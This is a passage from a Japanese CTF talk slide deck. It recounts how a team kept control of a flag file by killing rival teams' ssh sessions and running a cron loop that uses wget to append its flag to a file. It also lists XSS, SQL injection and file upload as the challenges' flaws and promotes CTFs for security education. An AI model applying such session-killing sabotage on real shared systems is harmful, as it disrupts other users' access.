  216. 216. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない! ● どうする? ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち ○ 他のチームのssh接続をkillする ■ これだ!
  217. 217. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない! ● どうする? ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち ○ 他のチームのssh接続をkillする ■ これだ!
  218. 218. Korin - FLAG ● 課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない
  219. 219. Korin - FLAG ● 自分達のFLAGを書き込み続けないといけない
  220. 220. Korin - FLAG ● 自分達のFLAGを書き込み続けないといけない ○ 5分に1回変動するFLAGを書き込まないといけないので自 動化したい
  221. 221. Korin - FLAG ● 自分達のFLAGを書き込み続けないといけない ○ 5分に1回変動するFLAGを書き込まないといけないので自 動化したい ○ 他のチームからssh接続切断されるようになると、 /var/tmp/5to6 に書き込めなくなる ■ 実際に切断された
  222. 222. Korin - FLAG ● 自分達のFLAGを書き込み続けないといけない ○ 5分に1回変動するFLAGを書き込まないといけないので自 動化したい ○ 他のチームからssh接続切断されるようになると、 /var/tmp/5to6 に書き込めなくなる ■ 実際に切断された ● whileループで動かせば?
  223. 223. Korin - FLAG ● 60秒に1回、自チームのアドレスにhttpアクセスして、FLAGを 書くようにした ● 以下のコードをcronから動かす while [ : ]; do wget -q -O - "http://192.168.5.8/" >> /home/stage6/public_html/index.html; sleep 60; done
  224. 224. Korin - FLAG こちらはhttpアクセスされた際に、現在の自チームのFLAGを 表示するようにしておけばよい ● 競技サーバーからhttpアクセスして、FLAGを書き込んでくれる ので、こちらからsshする必要がなくなる ●
  225. 225. Korin - FLAG ● 課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない どちらもクリアすることで、FLAGポイントを独占することができ た!
  226. 226. Korin - まとめ ● 問題1~3は典型的な脆弱性を利用したものでした ○ XSS, SQL Injection, File upload
  227. 227. Korin - まとめ ● 問題1~3は典型的な脆弱性を利用したもの ○ XSS, SQL Injection, File upload ● FLAGは、時間が限られている中でどのようにして他のチー ムを妨害するかということが重要だった ○ あと自動化も大事!
  228. 228. 最後に
  229. 229. CTFのメリット 一見、実際のセキュリティ運用とは かけ離れてそう 役立つ面もかなりある
  230. 230. CTFのメリット それぞれの脆弱性がどれほどの脅威に なるのか、身をもって実感 普段のコーディングでも気をつける
  231. 231. CTFのメリット 運用システムでも起こりうる脆弱性を 特徴を抽出して学べる 問題を解くには特定分野だけではなく 網羅的な知識が要求される
  232. 232. CTFを始めるには ksnctf: http://ksnctf.sweetduet.info/  いつでも解ける問題掲載サイト DEFCON CTF Qualifier 2014  2014/05/17 - 05/19
  233. 233. ご清聴ありがとうございました

×